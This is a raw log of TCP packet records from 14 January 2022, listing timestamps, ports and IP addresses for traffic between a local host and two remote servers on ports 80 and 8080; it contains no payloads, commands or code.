Jan 14, 2022 20:29:18.098606110 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098628044 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098644972 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098651886 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098680019 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098689079 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098702908 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098726988 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098747015 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098753929 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098769903 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098788977 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098793030 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098814964 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098833084 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098839045 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098861933 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098881006 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098896980 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098901987 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098923922 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098936081 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098959923 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116071939 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116105080 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116127968 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116147995 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116168976 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116193056 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116199017 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116214037 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116225004 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116239071 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116262913 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116262913 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116283894 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116288900 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116311073 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116322994 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116336107 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116358042 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116378069 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116389036 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116404057 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116422892 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116425991 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116442919 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116461992 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116465092 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116485119 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116507053 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116523027 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116528988 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116549015 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116550922 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116571903 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116590977 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116595030 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116616964 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116642952 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116653919 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116676092 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116697073 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116717100 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116736889 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116759062 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116763115 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116776943 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116777897 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116800070 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116821051 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116823912 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116842985 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116847992 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116864920 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116883993 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116899014 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.116908073 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.116956949 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137099028 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137135029 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137156963 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137177944 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137188911 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137201071 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137223959 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137237072 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137243032 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137245893 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137268066 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137294054 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137295008 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137316942 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137332916 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137339115 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137360096 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137376070 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137423038 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137447119 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137469053 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137490034 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137490034 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137515068 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137515068 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137537003 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137562037 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137573957 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137583971 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137607098 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137629986 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137650967 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137651920 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137658119 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137674093 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137693882 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137717009 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137737036 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137742043 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137743950 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137764931 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137787104 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137809038 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137810946 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137829065 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137861967 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137866020 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137882948 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137902021 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137922049 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137928009 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137943029 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137959957 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.137962103 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.137983084 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.138004065 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.138014078 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.138025999 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.138055086 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.138056993 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.138072968 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.138087988 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.138092041 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.138104916 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.138122082 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.138123989 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.138139963 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.138153076 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.138156891 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.138171911 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.138209105 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155447006 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155476093 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155493021 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155508995 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155524969 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155540943 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155543089 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155564070 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155616045 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155641079 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155661106 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155678988 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155697107 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155700922 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155719042 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155734062 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155736923 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155750990 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155762911 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155766010 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155776978 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155791998 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155798912 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155808926 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155826092 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155832052 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155842066 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155858040 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155859947 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155874014 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155883074 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155890942 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155908108 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155922890 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155926943 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155940056 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155956030 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155960083 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155972004 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.155982018 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.155987978 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.156003952 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.156019926 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.156022072 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.156037092 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.156052113 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.156054020 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.156066895 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.156080961 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.156084061 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.156109095 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.156141996 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.156312943 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.175812960 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:19.440048933 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.457410097 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:19.457715988 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.457737923 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.457842112 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.475040913 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:19.475068092 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:19.576095104 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:19.576333046 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.576534033 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.593767881 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:19.619002104 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.639830112 CET	80	49800	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:19.640631914 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.640805960 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.640818119 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.658910990 CET	80	49800	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:19.759021997 CET	80	49800	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:19.759300947 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.759432077 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.778199911 CET	80	49800	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:19.954288960 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.972568989 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:19.972666025 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.972799063 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.972816944 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:19.989964962 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:20.098093987 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:20.098227024 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:20.098279953 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:20.117940903 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:20.160167933 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:20.177403927 CET	80	49802	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:20.177551031 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:20.177700043 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:20.177712917 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:20.194845915 CET	80	49802	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:20.323672056 CET	80	49802	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:20.323769093 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:20.324150085 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:20.341327906 CET	80	49802	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:20.355263948 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.459443092 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.459593058 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.459741116 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.566005945 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.568284035 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.568310022 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.568325996 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.568341970 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.568357944 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.568375111 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.568372965 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.568391085 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.568408012 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.568423033 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.568439007 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.568439007 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.568474054 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.675580978 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.675611019 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.675628901 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.675646067 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.675668955 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.675674915 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.675685883 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.675703049 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.675719976 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.675720930 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.675755978 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.675780058 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.676094055 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.676116943 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.676131964 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.676148891 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.676177979 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.676207066 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.676280022 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.676297903 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.676312923 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.676340103 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.676362038 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.676405907 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.676517010 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.676522970 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.676541090 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.676556110 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.676565886 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.676605940 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.783730984 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.783757925 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.783775091 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.783791065 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.783843040 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.783873081 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.783874989 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.783920050 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.784049988 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784080029 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784111977 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784122944 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.784130096 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784147024 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784177065 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.784202099 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784220934 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784239054 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784264088 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.784298897 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.784358978 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784377098 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784399033 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784415007 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784419060 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.784431934 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784449100 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784456015 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.784502029 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.784512043 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784532070 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784559965 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784580946 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784580946 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.784617901 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.784977913 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.784996986 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.785043001 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.785048008 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.785059929 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.785106897 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.785207987 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.785269976 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.785284042 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.785299063 CET	8080	49803	185.7.214.171	192.168.2.4
